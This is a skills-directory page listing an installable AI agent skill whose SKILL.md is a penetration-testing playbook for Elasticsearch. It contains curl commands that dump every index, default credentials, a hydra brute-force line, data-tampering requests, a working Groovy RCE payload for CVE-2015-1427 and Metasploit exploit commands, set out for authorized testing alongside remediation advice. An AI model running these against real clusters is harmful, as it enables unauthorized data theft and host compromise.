Skip to content
Back to skills

Red Pentesting Elasticsearch

ASecurity

Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120)…

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securityrustgojavabashnodetestingapifrontendsecurity

Works with

  • cli
  • api

Security analysis

A96/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill red-pentesting-elasticsearch --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Red Pentesting Elasticsearch?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Red Pentesting Elasticsearch
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-red-pentesting-elasticsearch/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-red-pentesting-elasticsearch)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: red-pentesting-elasticsearch
description: Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120)…
domain: red
category: network
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/red-pentesting-elasticsearch/SKILL.md
---
# Pentesting Elasticsearch (port 9200)

## When to Use
- Default `9200/tcp` (REST/HTTP API), `9300/tcp` (node-to-node transport).
- Accessed over **HTTP** — browsing `http://<IP>:9200/` returns a JSON banner (cluster name, version, Lucene version).
- Use whenever 9200 is reachable — Elasticsearch ships with **authentication disabled by default**, exposing all indices.

## Quick Enumeration
```bash
# Banner / version
curl -s http://<IP>:9200/

# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)

nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'
```

## Critical: Checks Most Often Missed
- **Authentication disabled (default) → full index dump** — the #1 miss. Without X-Pack security, every index and document is world-readable.
  - How to CONFIRM: `curl http://<IP>:9200/` returns the banner and `curl http://<IP>:9200/_cat/indices?v` lists indices. The `_xpack/security/user` 500 error confirms security is off.
- **Default / weak credentials (when auth on)** — HTTP basic auth with defaults: `elastic` (superuser), `kibana`, `logstash_system`, `beats_system`, `remote_monitoring_user`, `apm_system`; old versions default password `changeme`.
  - How to CONFIRM: `curl http://elastic:changeme@<IP>:9200/` returns data; brute force via any HTTP-basic tool.
- **Write access to indices** — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
  - How to CONFIRM: `curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}'` succeeds and the new index appears in `_cat/indices`.
- **Dynamic scripting RCE (legacy clusters)** — old versions allow server-side script execution leading to RCE:
  - **CVE-2014-3120** — MVEL dynamic scripting enabled by default in ES < 1.2 (`_search` with a `script` field → code exec).
  - **CVE-2015-1427** — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (`script_fields` Groovy payload → OS command exec).
  - How to CONFIRM: a crafted `_search` with a Groovy/MVEL `script` returns the output of `java.lang.Runtime.getRuntime().exec(...)`; Metasploit `script_mvel_rce` / `script_jvm_rce` confirm.

## Workflow

### Step 1: Enumerate
```bash
curl -s http://<IP>:9200/                         # version banner
curl -s http://<IP>:9200/_cat/indices?v           # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user           # roles/users (if auth on)
curl -s http://<IP>:9200/_cat                      # supported _cat endpoints
```

### Step 2: Authenticate (open access, default/weak creds, brute force)
```bash
curl -s http://<IP>:9200/_cat/indices              # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/      # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /
```

### Step 3: Exploit / Extract (dump indices + scripting RCE)
```bash
# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"

# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
  -d '{"bookId":"A00-3","author":"x","name":"test"}'
```
```bash
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
  "size": 1,
  "script_fields": {"x": {"lang":"groovy",
    "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run'   # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427
```

### Step 4: Post-access / privilege escalation / pivot
- Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
- A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
- On RCE the script runs as the `elasticsearch` user — enumerate host, sudo, and adjacent ELK components (Logstash, Beats).
- Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **REST/HTTP API** | All interaction is HTTP on 9200; browser/curl give full access when auth is off. |
| **Index / document** | An index is a JSON document collection; `_search` queries return documents. |
| **Auth disabled default** | X-Pack security off by default → unauthenticated full read (and often write). |
| **size parameter** | `_search` defaults to 10 results; set `size=N` to dump entire indices. |
| **_cat / _cluster / _security** | Diagnostic endpoints exposing indices, health, users, and roles. |
| **Dynamic scripting** | Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **curl** | Primary client for banner, index listing, dumping, write tests, scripting RCE. |
| **nmap NSE** | `http-*` scripts + version detection; `nmap-elasticsearch-nse` enumerates indices/plugins/nodes. |
| **Metasploit** | `scanner/elasticsearch/indices_enum`, `exploit/multi/elasticsearch/script_mvel_rce` (CVE-2014-3120), `search_groovy_script` (CVE-2015-1427). |
| **hydra / medusa / ffuf** | HTTP basic-auth brute force against `/`. |
| **horuz** | Fuzz Elasticsearch endpoints/indices. |
| **Kibana (5601)** | Linked frontend, frequent pivot for visualization-layer attacks. |

## Common Scenarios
### Scenario 1: Open cluster → mass data dump
`curl http://<IP>:9200/_cat/indices?v` lists `customers`, `logs-*` indices. `_search?size=9999` exfiltrates every document, including plaintext PII and access logs with session tokens.

### Scenario 2: Default elastic creds
Security is enabled but the `elastic` superuser still uses `changeme`. `curl -u elastic:changeme http://<IP>:9200/_security/user` enumerates all accounts and grants full cluster control.

### Scenario 3: Legacy Groovy RCE
An ES 1.4.2 node allows dynamic scripting. A `script_fields` Groovy payload runs `id`, returning `uid=...elasticsearch`, escalating from data access to host command execution.

## Output Format
```
## Elasticsearch Finding

**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
  - curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
  - curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
  - _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
  1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
  2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
  3. Change all default account passwords (elastic, kibana, logstash_system).
  4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.